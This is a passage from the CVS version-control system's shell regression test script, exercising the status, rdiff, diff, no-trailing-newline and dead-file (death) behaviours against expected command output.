revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT_DIRNAME}/first-dir/tfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t\tCVSROOT=$save_CVSROOT\n\t\texport CVSROOT\n\n\t\t# FIXCVS:\n\t\t# Update is supposed to re-Register() the file when it\n\t\t# finds resolved conflicts:\n\t\tdotest status-4 \"grep 'Result of merge' CVS/Entries\" \\\n\"/tfile/1\\.2/Result of merge${PLUS}[a-zA-Z0-9 :]*//\"\n\n cd ..\n mkdir fourth-dir\n dotest status-init-8 \"$testcvs add fourth-dir\" \\\n\"Directory $CVSROOT_DIRNAME/fourth-dir added to the repository\"\n cd fourth-dir\n echo yet another line >t3file\n dotest status-init-9 \"$testcvs add t3file\" \\\n\"$PROG add: scheduling file .t3file. for addition\n$PROG add: use .$PROG commit. to add this file permanently\"\n dotest status-init-10 \"$testcvs -q ci -m add\" \\\n\"RCS file: $CVSROOT_DIRNAME/fourth-dir/t3file,v\ndone\nChecking in t3file;\n$CVSROOT_DIRNAME/fourth-dir/t3file,v <-- t3file\ninitial revision: 1\\.1\ndone\"\n cd ../first-dir\n mkdir third-dir\n dotest status-init-11 \"$testcvs add third-dir\" \\\n\"Directory $CVSROOT_DIRNAME/first-dir/third-dir added to the repository\"\n cd third-dir\n echo another line >t2file\n dotest status-init-12 \"$testcvs add t2file\" \\\n\"$PROG add: scheduling file .t2file. for addition\n$PROG add: use .$PROG commit. to add this file permanently\"\n dotest status-init-13 \"$testcvs -q ci -m add\" \\\n\"RCS file: $CVSROOT_DIRNAME/first-dir/third-dir/t2file,v\ndone\nChecking in t2file;\n$CVSROOT_DIRNAME/first-dir/third-dir/t2file,v <-- t2file\ninitial revision: 1\\.1\ndone\"\n dotest status-5 \"$testcvs status ../tfile\" \\\n\"===================================================================\nFile: tfile \tStatus: Locally Modified\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t$CVSROOT_DIRNAME/first-dir/tfile,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n dotest status-6 \"$testcvs status ../../fourth-dir/t3file\" \\\n\"===================================================================\nFile: t3file \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t$CVSROOT_DIRNAME/fourth-dir/t3file,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\n\t\tif $keep; then\n\t\t\techo Keeping $TESTDIR and exiting due to --keep\n\t\t\texit 0\n\t\tfi\n\n\t\tcd ../../..\n\t\trm -rf status\n\t\trm -rf $CVSROOT_DIRNAME/first-dir $CVSROOT_DIRNAME/fourth-dir\n\t\t;;\n\n\trdiff)\n\t\t# Test rdiff\n\t\t# XXX for now this is just the most essential test...\n\t\tcd ${TESTDIR}\n\n\t\tmkdir testimport\n\t\tcd testimport\n\t\techo '$''Id$' > foo\n\t\techo '$''Name$' >> foo\n\t\techo '$''Id$' > bar\n\t\techo '$''Name$' >> bar\n\t\tdotest_sort rdiff-1 \\\n\t\t \"${testcvs} import -I ! -m test-import-with-keyword trdiff TRDIFF T1\" \\\n'\n\nN trdiff/bar\nN trdiff/foo\nNo conflicts created by this import'\n\t\tdotest rdiff-2 \\\n\t\t \"${testcvs} co -ko trdiff\" \\\n\"${PROG} checkout: Updating trdiff\nU trdiff/bar\nU trdiff/foo\"\n\t\tcd trdiff\n\t\techo something >> foo\n\t\tdotest rdiff-3 \\\n\t\t \"${testcvs} ci -m added-something foo\" \\\n\"Checking in foo;\n${CVSROOT_DIRNAME}/trdiff/foo,v <-- foo\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t\techo '#ident\t\"@(#)trdiff:$''Name$:$''Id$\"' > new\n\t\techo \"new file\" >> new\n\t\tdotest rdiff-4 \\\n\t\t \"${testcvs} add -m new-file-description new\" \\\n\"${PROG} add: scheduling file \\`new' for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t\tdotest rdiff-5 \\\n\t\t \"${testcvs} commit -m added-new-file new\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/trdiff/new,v\ndone\nChecking in new;\n${CVSROOT_DIRNAME}/trdiff/new,v <-- new\ninitial revision: 1\\.1\ndone\"\n\t\tdotest rdiff-6 \\\n\t\t \"${testcvs} tag local-v0\" \\\n\"${PROG} tag: Tagging .\nT bar\nT foo\nT new\"\n\t\tdotest rdiff-7 \\\n\t\t \"${testcvs} status -v foo\" \\\n\"===================================================================\nFile: foo \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT_DIRNAME}/trdiff/foo,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t-ko\n\n Existing Tags:\n\tlocal-v0 \t(revision: 1\\.2)\n\tT1 \t(revision: 1\\.1\\.1\\.1)\n\tTRDIFF \t(branch: 1\\.1\\.1)\"\n\n\t\tcd ..\n\t\trm -r trdiff\n\n\t\tdotest rdiff-8 \\\n\t\t \"${testcvs} rdiff -r T1 -r local-v0 trdiff\" \\\n\"${PROG}\"' rdiff: Diffing trdiff\nIndex: trdiff/foo\ndiff -c trdiff/foo:1\\.1\\.1\\.1 trdiff/foo:1\\.2\n\\*\\*\\* trdiff/foo:1\\.1\\.1\\.1\t'\"${DATE}\"'\n--- trdiff/foo\t'\"${DATE}\"'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1,2 \\*\\*\\*\\*\n! \\$''Id: foo,v 1\\.1\\.1\\.1 [0-9/]* [0-9:]* '\"${username}\"' Exp \\$\n! \\$''Name: T1 \\$\n--- 1,3 ----\n! \\$''Id: foo,v 1\\.2 [0-9/]* [0-9:]* '\"${username}\"' Exp \\$\n! \\$''Name: local-v0 \\$\n! something\nIndex: trdiff/new\ndiff -c /dev/null trdiff/new:1\\.1\n\\*\\*\\* /dev/null\t'\"${DATE}\"'\n--- trdiff/new\t'\"${DATE}\"'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 0 \\*\\*\\*\\*\n--- 1,2 ----\n'\"${PLUS}\"' #ident\t\"@(#)trdiff:\\$''Name: local-v0 \\$:\\$''Id: new,v 1\\.1 [0-9/]* [0-9:]* '\"${username}\"' Exp \\$\"\n'\"${PLUS}\"' new file'\n\n\t\tif $keep; then\n\t\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t\t exit 0\n\t\tfi\n\n\t\tcd ..\n\t\trm -r testimport\n\t\trm -rf ${CVSROOT_DIRNAME}/trdiff\n\t\t;;\n\n\trdiff-short)\n\t # Test that the short patch behaves as expected\n\t # 1) Added file.\n\t # 2) Removed file.\n\t # 3) Different revision number with no difference.\n\t # 4) Different revision number with changes.\n\t # 5) Against trunk.\n\t # 6) Same revision number (no difference).\n\t mkdir rdiff-short; cd rdiff-short\n\t mkdir abc\n\t dotest rdiff-short-init-1 \\\n\"${testcvs} -q import -I ! -m initial-import abc vendor initial\" \\\n'\nNo conflicts created by this import'\n\n\t dotest rdiff-short-init-2 \"${testcvs} -q get abc\" ''\n\t cd abc\n\t echo \"abc\" >file1.txt\n\t dotest rdiff-short-init-3 \"${testcvs} add file1.txt\" \\\n\"${PROG} add: scheduling file .file1\\.txt' for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest rdiff-short-init-4 \\\n\"${testcvs} commit -madd-file1 file1.txt\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/abc/file1\\.txt,v\ndone\nChecking in file1\\.txt;\n${CVSROOT_DIRNAME}/abc/file1\\.txt,v <-- file1\\.txt\ninitial revision: 1\\.1\ndone\"\n\t echo def >>file1.txt\n\t dotest rdiff-short-init-5 \\\n\"${testcvs} commit -mchange-file1 file1.txt\" \\\n\"Checking in file1\\.txt;\n${CVSROOT_DIRNAME}/abc/file1\\.txt,v <-- file1\\.txt\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t echo \"abc\" >file1.txt\n\t dotest rdiff-short-init-6 \\\n\"${testcvs} commit -mrestore-file1-rev1 file1.txt\" \\\n\"Checking in file1\\.txt;\n${CVSROOT_DIRNAME}/abc/file1\\.txt,v <-- file1\\.txt\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t dotest rdiff-short-init-7 \\\n\"${testcvs} tag -r 1.1 tag1 file1.txt\" \\\n\"T file1\\.txt\"\n\t dotest rdiff-short-init-8 \\\n\"${testcvs} tag -r 1.2 tag2 file1.txt\" \\\n\"T file1\\.txt\"\n\t dotest rdiff-short-init-9 \\\n\"${testcvs} tag -r 1.3 tag3 file1.txt\" \\\n\"T file1\\.txt\"\n\t echo \"abc\" >file2.txt\n\t dotest rdiff-short-init-10 \\\n\"${testcvs} add file2.txt\" \\\n\"${PROG} add: scheduling file .file2\\.txt' for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest rdiff-add-remove-nodiff-init-11 \\\n\"${testcvs} commit -madd-file2 file2.txt\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/abc/file2\\.txt,v\ndone\nChecking in file2\\.txt;\n${CVSROOT_DIRNAME}/abc/file2\\.txt,v <-- file2\\.txt\ninitial revision: 1\\.1\ndone\"\n\t dotest rdiff-short-init-12 \\\n\"${testcvs} tag -r 1.1 tag4 file2.txt\" \\\n\"T file2\\.txt\"\n\t dotest rdiff-short-init-13 \\\n\"${testcvs} tag -r 1.1 tag5 file2.txt\" \\\n\"T file2\\.txt\"\n\t cd ../..\n\t rm -fr rdiff-short\n\n\t # 3) Different revision number with no difference.\n\t dotest rdiff-short-no-real-change \\\n\"${testcvs} -q rdiff -s -r tag1 -r tag3 abc\"\n\n\t # 4) Different revision number with changes.\n\t dotest rdiff-short-real-change \\\n\"${testcvs} -q rdiff -s -r tag1 -r tag2 abc\" \\\n'File abc/file1.txt changed from revision 1\\.1 to 1\\.2'\n\n\t # 1) Added file.\n\t # 2) Removed file.\n\t dotest_sort rdiff-short-remove-add \\\n\"${testcvs} -q rdiff -s -r tag2 -r tag4 abc\" \\\n'File abc/file1\\.txt is removed; tag2 revision 1\\.2\nFile abc/file2\\.txt is new; tag4 revision 1\\.1'\n\n\t # 6) Same revision number (no difference).\n\t dotest rdiff-short-no-change \\\n\"${testcvs} -q rdiff -s -r tag4 -r tag5 abc\"\n\n\t # 5) Against trunk.\n\t # Check that the messages change when we diff against the trunk\n\t # rather than a tag or date.\n\t dotest rdiff-short-against-trunk-1 \\\n\"${testcvs} -q rdiff -s -rtag4 abc\" \\\n\"File abc/file1\\.txt is new; current revision 1\\.3\"\n\n\t dotest rdiff-short-against-trunk-2 \\\n\"${testcvs} -q rdiff -s -rtag2 abc\" \\\n\"File abc/file1\\.txt changed from revision 1\\.2 to 1\\.3\nFile abc/file2\\.txt is new; current revision 1\\.1\"\n\n\t rm -rf ${CVSROOT_DIRNAME}/abc\n\t ;;\n\n\trdiff2)\n\t # Test for the segv problem reported by \n\t # Somewhere to work\n\t mkdir rdiff2; cd rdiff2\t \n\t # Create a module \"m\" with files \"foo\" and \"d/bar\"\n\t mkdir m; cd m\n\t echo foo >foo\n\t mkdir d\n\t echo bar >d/bar\n\t dotest_sort rdiff2-1 \\\n\"${testcvs} -q import -I ! -m initial-import m vendor initial\" \\\n'\n\nN m/d/bar\nN m/foo\nNo conflicts created by this import'\n\n\t cd ..\n\t rm -r m\n\t \n\t # Remove \"foo\"\n\t dotest rdiff2-2 \"${testcvs} get m\" \\\n\"${PROG} checkout: Updating m\nU m/foo\n${PROG} checkout: Updating m/d\nU m/d/bar\"\n\t cd m\n\t dotest rdiff2-3 \"${testcvs} rm -f foo\" \\\n\"${PROG} remove: scheduling .foo. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\n\t dotest rdiff2-4 \"${testcvs} commit -m Removed foo\" \\\n\"Removing foo;\n${CVSROOT_DIRNAME}/m/foo,v <-- foo\nnew revision: delete; previous revision: 1\\.1\\.1\\.1\ndone\"\n\t \n\t # Modify \"d/bar\"\n\t echo foo >d/bar\n\t dotest rdiff2-5 \"${testcvs} commit -m Changed d/bar\" \\\n\"Checking in d/bar;\n${CVSROOT_DIRNAME}/m/d/bar,v <-- bar\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t \n\t # Crash before showing d/bar diffs\n\t dotest_fail rdiff2-6 \"${testcvs} rdiff -t m\" \\\n\"${PROG} rdiff: Diffing m\n${PROG} rdiff: Diffing m/d\nIndex: m/d/bar\ndiff -c m/d/bar:1\\.1\\.1\\.1 m/d/bar:1\\.2\n\\*\\*\\* m/d/bar:1\\.1\\.1\\.1\t${DATE}\n--- m/d/bar\t${DATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n! bar\n--- 1 ----\n! foo\"\n\t if $keep; then\n\t\techo Keeping ${TESTDIR} and exiting due to --keep\n\t\texit 0\n\t fi\n\t cd ../..\n\t rm -rf rdiff2\n\t rm -rf ${CVSROOT_DIRNAME}/m\n\t ;;\n\n\tdiff)\n\t # Various tests specific to the \"cvs diff\" command.\n\t # Related tests:\n\t # death2: -N\n\t # rcslib: cvs diff and $Name.\n\t # rdiff: cvs rdiff.\n\t # diffmerge*: nuts and bolts (stuff within diff library)\n\t mkdir 1; cd 1\n\t dotest diff-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest diff-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\n\t # diff is anomalous. Most CVS commands print the \"nothing\n\t # known\" message (or worse yet, no message in some cases) but\n\t # diff says \"I know nothing\". Shrug.\n\t dotest_fail diff-3 \"${testcvs} diff xyzpdq\" \\\n\"${PROG} diff: I know nothing about xyzpdq\"\n\t touch abc\n\t dotest diff-4 \"${testcvs} add abc\" \\\n\"${PROG} add: scheduling file .abc. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest diff-5 \"${testcvs} -q ci -mtest\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/abc,v\ndone\nChecking in abc;\n${CVSROOT_DIRNAME}/first-dir/abc,v <-- abc\ninitial revision: 1\\.1\ndone\"\n\t echo \"extern int gethostname ();\" >abc\n\t dotest diff-6 \"${testcvs} -q ci -mtest\" \\\n\"Checking in abc;\n${CVSROOT_DIRNAME}/first-dir/abc,v <-- abc\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t echo \"#include \" >abc\n\t # check the behavior of the --ifdef=MACRO option\n\t dotest_fail diff-7 \"${testcvs} -q diff --ifdef=HAVE_WINSOCK_H\" \\\n\"Index: abc\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/abc,v\nretrieving revision 1\\.2\ndiff --ifdef HAVE_WINSOCK_H -r1\\.2 abc\n#ifndef HAVE_WINSOCK_H\nextern int gethostname ();\n#else /\\* HAVE_WINSOCK_H \\*/\n#include \n#endif /\\* HAVE_WINSOCK_H \\*/\"\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ../..\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t rm -r 1\n\t ;;\n\n\tdiffnl)\n\t # Test handling of 'cvs diff' of files without newlines\n\t mkdir 1; cd 1\n\t dotest diffnl-000 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest diffnl-001 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n cd first-dir\n\n\t ${AWK} 'BEGIN {printf(\"one\\ntwo\\nthree\\nfour\\nfive\\nsix\")}' abc\n\t dotest diffnl-002 \"${testcvs} add abc\" \\\n\"${PROG} add: scheduling file .abc. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n dotest diffnl-003 \"${testcvs} -q ci -mtest\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/abc,v\ndone\nChecking in abc;\n${CVSROOT_DIRNAME}/first-dir/abc,v <-- abc\ninitial revision: 1\\.1\ndone\"\n\n\t # change to line near EOF\n\t ${AWK} 'BEGIN {printf(\"one\\ntwo\\nthree\\nfour\\nsix\")}' abc\n\t dotest_fail diffnl-100 \"${testcvs} diff abc\" \\\n\"Index: abc\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/abc,v\nretrieving revision 1\\.1\ndiff -r1\\.1 abc\n5d4\n< five\"\n dotest_fail diffnl-101 \"${testcvs} diff -u abc\" \\\n\"Index: abc\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/abc,v\nretrieving revision 1\\.1\ndiff -u -r1\\.1 abc\n--- abc\t${RFCDATE}\t1\\.1\n+++ abc\t${RFCDATE}\n@@ -2,5 +2,4 @@\n two\n three\n four\n-five\n six\n\\\\\\\\ No newline at end of file\"\n dotest diffnl-102 \"${testcvs} -q ci -mtest abc\" \\\n\"Checking in abc;\n${CVSROOT_DIRNAME}/first-dir/abc,v <-- abc\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n # Change to last line\n\t ${AWK} 'BEGIN {printf(\"one\\ntwo\\nthree\\nfour\\nseven\")}' abc\n dotest_fail diffnl-200 \"${testcvs} diff abc\" \\\n\"Index: abc\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/abc,v\nretrieving revision 1\\.2\ndiff -r1\\.2 abc\n5c5\n< six\n\\\\\\\\ No newline at end of file\n---\n> seven\n\\\\\\\\ No newline at end of file\"\n\t dotest_fail diffnl-201 \"${testcvs} diff -u abc\" \\\n\"Index: abc\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/abc,v\nretrieving revision 1\\.2\ndiff -u -r1\\.2 abc\n--- abc\t${RFCDATE}\t1\\.2\n+++ abc\t${RFCDATE}\n@@ -2,4 +2,4 @@\n two\n three\n four\n-six\n\\\\\\\\ No newline at end of file\n+seven\n\\\\\\\\ No newline at end of file\"\n\t dotest diffnl-202 \"${testcvs} ci -mtest abc\" \\\n\"Checking in abc;\n${CVSROOT_DIRNAME}/first-dir/abc,v <-- abc\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\n\t # Addition of newline\n\t echo \"one\ntwo\nthree\nfour\nseven\" > abc\n\t dotest_fail diffnl-300 \"${testcvs} diff abc\" \\\n\"Index: abc\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/abc,v\nretrieving revision 1\\.3\ndiff -r1\\.3 abc\n5c5\n< seven\n\\\\\\\\ No newline at end of file\n---\n> seven\"\n\t dotest_fail diffnl-301 \"${testcvs} diff -u abc\" \\\n\"Index: abc\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/abc,v\nretrieving revision 1\\.3\ndiff -u -r1\\.3 abc\n--- abc\t${RFCDATE}\t1\\.3\n+++ abc\t${RFCDATE}\n@@ -2,4 +2,4 @@\n two\n three\n four\n-seven\n\\\\\\\\ No newline at end of file\n+seven\"\n\t dotest diffnl-302 \"${testcvs} ci -mtest abc\" \\\n\"Checking in abc;\n${CVSROOT_DIRNAME}/first-dir/abc,v <-- abc\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\"\n\n\t # Removal of newline\n\t ${AWK} 'BEGIN {printf(\"one\\ntwo\\nthree\\nfour\\nseven\")}' abc\n\t dotest_fail diffnl-400 \"${testcvs} diff abc\" \\\n\"Index: abc\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/abc,v\nretrieving revision 1\\.4\ndiff -r1\\.4 abc\n5c5\n< seven\n---\n> seven\n\\\\\\\\ No newline at end of file\"\n\t dotest_fail diffnl-401 \"${testcvs} diff -u abc\" \\\n\"Index: abc\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/abc,v\nretrieving revision 1\\.4\ndiff -u -r1\\.4 abc\n--- abc\t${RFCDATE}\t1\\.4\n+++ abc\t${RFCDATE}\n@@ -2,4 +2,4 @@\n two\n three\n four\n-seven\n+seven\n\\\\\\\\ No newline at end of file\"\n\t\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tdeath)\n\t\t# next dive. test death support.\n\n\t\t# NOTE: this section has reached the size and\n\t\t# complexity where it is getting to be a good idea to\n\t\t# add new death support tests to a new section rather\n\t\t# than continuing to piggyback them onto the tests here.\n\n\t\tmkdir ${CVSROOT_DIRNAME}/first-dir\n\t\tif ${CVS} co first-dir ; then\n\t\t pass 65\n\t\telse\n\t\t fail 65\n\t\tfi\n\n\t\tcd first-dir\n\n\t\t# Create a directory with only dead files, to make sure CVS\n\t\t# doesn't get confused by it.\n\t\tmkdir subdir\n\t\tdotest 65a0 \"${testcvs} add subdir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/subdir added to the repository\"\n\t\tcd subdir\n\t\techo file in subdir >sfile\n\t\tdotest 65a1 \"${testcvs} add sfile\" \\\n\"${PROG}\"' add: scheduling file `sfile'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t\tdotest 65a2 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/subdir/sfile,v\ndone\nChecking in sfile;\n${CVSROOT_DIRNAME}/first-dir/subdir/sfile,v <-- sfile\ninitial revision: 1\\.1\ndone\"\n\t\trm sfile\n\t\tdotest 65a3 \"${testcvs} rm sfile\" \\\n\"${PROG}\"' remove: scheduling `sfile'\\'' for removal\n'\"${PROG}\"' remove: use .'\"${PROG}\"' commit. to remove this file permanently'\n\t\tdotest 65a4 \"${testcvs} -q ci -m remove-it\" \\\n\"Removing sfile;\n${CVSROOT_DIRNAME}/first-dir/subdir/sfile,v <-- sfile\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\t\tcd ..\n\t\tdotest 65a5 \"${testcvs} -q update -P\" ''\n\t\tdotest_fail 65a6 \"test -d subdir\" ''\n\n\t\t# add a file.\n\t\ttouch file1\n\t\tif ${CVS} add file1 2>> ${LOGFILE}; then\n\t\t pass 66\n\t\telse\n\t\t fail 66\n\t\tfi\n\n\t\t# commit\n\t\tif ${CVS} ci -m test >> ${LOGFILE} 2>&1; then\n\t\t pass 67\n\t\telse\n\t\t fail 67\n\t\tfi\n\n\t\t# remove\n\t\trm file1\n\t\tif ${CVS} rm file1 2>> ${LOGFILE}; then\n\t\t pass 68\n\t\telse\n\t\t fail 68\n\t\tfi\n\n\t\t# commit\n\t\tif ${CVS} ci -m test >>${LOGFILE} ; then\n\t\t pass 69\n\t\telse\n\t\t fail 69\n\t\tfi\n\n\t\tdotest_fail 69a0 \"test -f file1\" ''\n\t\t# get the old contents of file1 back\n\t\tif ${testcvs} update -p -r 1.1 file1 >file1 2>>${LOGFILE}; then\n\t\t pass 69a1\n\t\telse\n\t\t fail 69a1\n\t\tfi\n\t\tdotest 69a2 \"cat file1\" ''\n\n\t\t# create second file\n\t\ttouch file2\n\t\tif ${CVS} add file1 file2 2>> ${LOGFILE}; then\n\t\t pass 70\n\t\telse\n\t\t fail 70\n\t\tfi\n\n\t\t# commit\n\t\tif ${CVS} ci -m test >> ${LOGFILE} 2>&1; then\n\t\t pass 71\n\t\telse\n\t\t fail 71\n\t\tfi\n\n\t\t# log\n\t\tif ${CVS} log file1 >> ${LOGFILE}; then\n\t\t pass 72\n\t\telse\n\t\t fail 72\n\t\tfi\n\n\t\t# file4 will be dead at the time of branching and stay dead.\n\t\techo file4 > file4\n\t\tdotest death-file4-add \"${testcvs} add file4\" \\\n\"${PROG}\"' add: scheduling file `file4'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t\tdotest death-file4-ciadd \"${testcvs} -q ci -m add file4\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file4,v\ndone\nChecking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\ninitial revision: 1\\.1\ndone\"\n\t\trm file4\n\t\tdotest death-file4-rm \"${testcvs} remove file4\" \\\n\"${PROG}\"' remove: scheduling `file4'\\'' for removal\n'\"${PROG}\"' remove: use .'\"${PROG}\"' commit. to remove this file permanently'\n\t\tdotest death-file4-cirm \"${testcvs} -q ci -m remove file4\" \\\n\"Removing file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\n\t\t# Tag the branchpoint.\n\t\tdotest death-72a \"${testcvs} -q tag bp_branch1\" 'T file1\nT file2'\n\n\t\t# branch1\n\t\tif ${CVS} tag -b branch1 ; then\n\t\t pass 73\n\t\telse\n\t\t fail 73\n\t\tfi\n\n\t\t# and move to the branch.\n\t\tif ${CVS} update -r branch1 ; then\n\t\t pass 74\n\t\telse\n\t\t fail 74\n\t\tfi\n\n\t\tdotest_fail death-file4-3 \"test -f file4\" ''\n\n\t\t# add a file in the branch\n\t\techo line1 from branch1 >> file3\n\t\tif ${CVS} add file3 2>> ${LOGFILE}; then\n\t\t pass 75\n\t\telse\n\t\t fail 75\n\t\tfi\n\n\t\t# commit\n\t\tif ${CVS} ci -m test >> ${LOGFILE} 2>&1; then\n\t\t pass 76\n\t\telse\n\t\t fail 76\n\t\tfi\n\n\t\tdotest death-76a0 \\\n\"${testcvs} -q rdiff -r bp_branch1 -r branch1 first-dir\" \\\n\"Index: first-dir/file3\ndiff -c /dev/null first-dir/file3:1\\.1\\.2\\.1\n\\*\\*\\* /dev/null\t${DATE}\n--- first-dir/file3\t${DATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 0 \\*\\*\\*\\*\n--- 1 ----\n${PLUS} line1 from branch1\"\n\t\tdotest death-76a1 \\\n\"${testcvs} -q rdiff -r branch1 -r bp_branch1 first-dir\" \\\n\"Index: first-dir/file3\ndiff -c first-dir/file3:1\\.1\\.2\\.1 first-dir/file3:removed\n\\*\\*\\* first-dir/file3:1\\.1\\.2\\.1\t${DATE}\n--- first-dir/file3\t${DATE}\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n\\*\\*\\* 1 \\*\\*\\*\\*\n- line1 from branch1\n--- 0 ----\"\n\n\t\t# remove\n\t\trm file3\n\t\tif ${CVS} rm file3 2>> ${LOGFILE}; then\n\t\t pass 77\n\t\telse\n\t\t fail 77\n\t\tfi\n\n\t\t# commit\n\t\tif ${CVS} ci -m test >>${LOGFILE} ; then\n\t\t pass 78\n\t\telse\n\t\t fail 78\n\t\tfi\n\n\t\t# add again\n\t\techo line1 from branch1 >> file3\n\t\tif ${CVS} add file3 2>> ${LOGFILE}; then\n\t\t pass 79\n\t\telse\n\t\t fail 79\n\t\tfi\n\n\t\t# commit\n\t\tif ${CVS} ci -m test >> ${LOGFILE} 2>&1; then\n\t\t pass 80\n\t\telse\n\t\t fail 80\n\t\tfi\n\n\t\t# change the first file\n\t\techo line2 from branch1 >> file1\n\n\t\t# commit\n\t\tif ${CVS} ci -m test >> ${LOGFILE} 2>&1; then\n\t\t pass 81\n\t\telse\n\t\t fail 81\n\t\tfi\n\n\t\t# remove the second\n\t\trm file2\n\t\tif ${CVS} rm file2 2>> ${LOGFILE}; then\n\t\t pass 82\n\t\telse\n\t\t fail 82\n\t\tfi\n\n\t\t# commit\n\t\tif ${CVS} ci -m test >>${LOGFILE}; then\n\t\t pass 83\n\t\telse\n\t\t fail 83\n\t\tfi\n\n\t\t# back to the trunk.\n\t\tif ${CVS} update -A 2>> ${LOGFILE}; then\n\t\t pass 84\n\t\telse\n\t\t fail 84\n\t\tfi\n\n\t\tdotest_fail death-file4-4 \"test -f file4\" ''\n\n\t\tif test -f file3 ; then\n\t\t fail 85\n\t\telse\n\t\t pass 85\n\t\tfi\n\n\t\t# join\n\t\tdotest 86 \"${testcvs} -q update -j branch1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.3\nretrieving revision 1\\.3\\.2\\.1\nMerging differences between 1\\.3 and 1\\.3\\.2\\.1 into file1\n${PROG} update: scheduling file2 for removal\nU file3\"\n\n\t\tdotest_fail death-file4-5 \"test -f file4\" ''\n\n\t\tif test -f file3 ; then\n\t\t pass 87\n\t\telse\n\t\t fail 87\n\t\tfi\n\n\t\t# Make sure that we joined the correct change to file1\n\t\tif echo line2 from branch1 | cmp - file1 >/dev/null; then\n\t\t pass 87a\n\t\telse\n\t\t fail 87a\n\t\tfi\n\n\t\t# update\n\t\tif ${CVS} update ; then\n\t\t pass 88\n\t\telse\n\t\t fail 88\n\t\tfi\n\n\t\t# commit\n\t\tdotest 89 \"${testcvs} -q ci -m test\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\nRemoving file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: delete; previous revision: 1\\.1\ndone\nChecking in file3;\n${CVSROOT_DIRNAME}/first-dir/file3,v <-- file3\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t\tcd ..\n\t\tmkdir 2\n\t\tcd 2\n\t\tdotest 89a \"${testcvs} -q co first-dir\" 'U first-dir/file1\nU first-dir/file3'\n\t\tcd ..\n\t\trm -r 2\n\t\tcd first-dir\n\n\t\t# remove first file.\n\t\trm file1\n\t\tif ${CVS} rm file1 2>> ${LOGFILE}; then\n\t\t 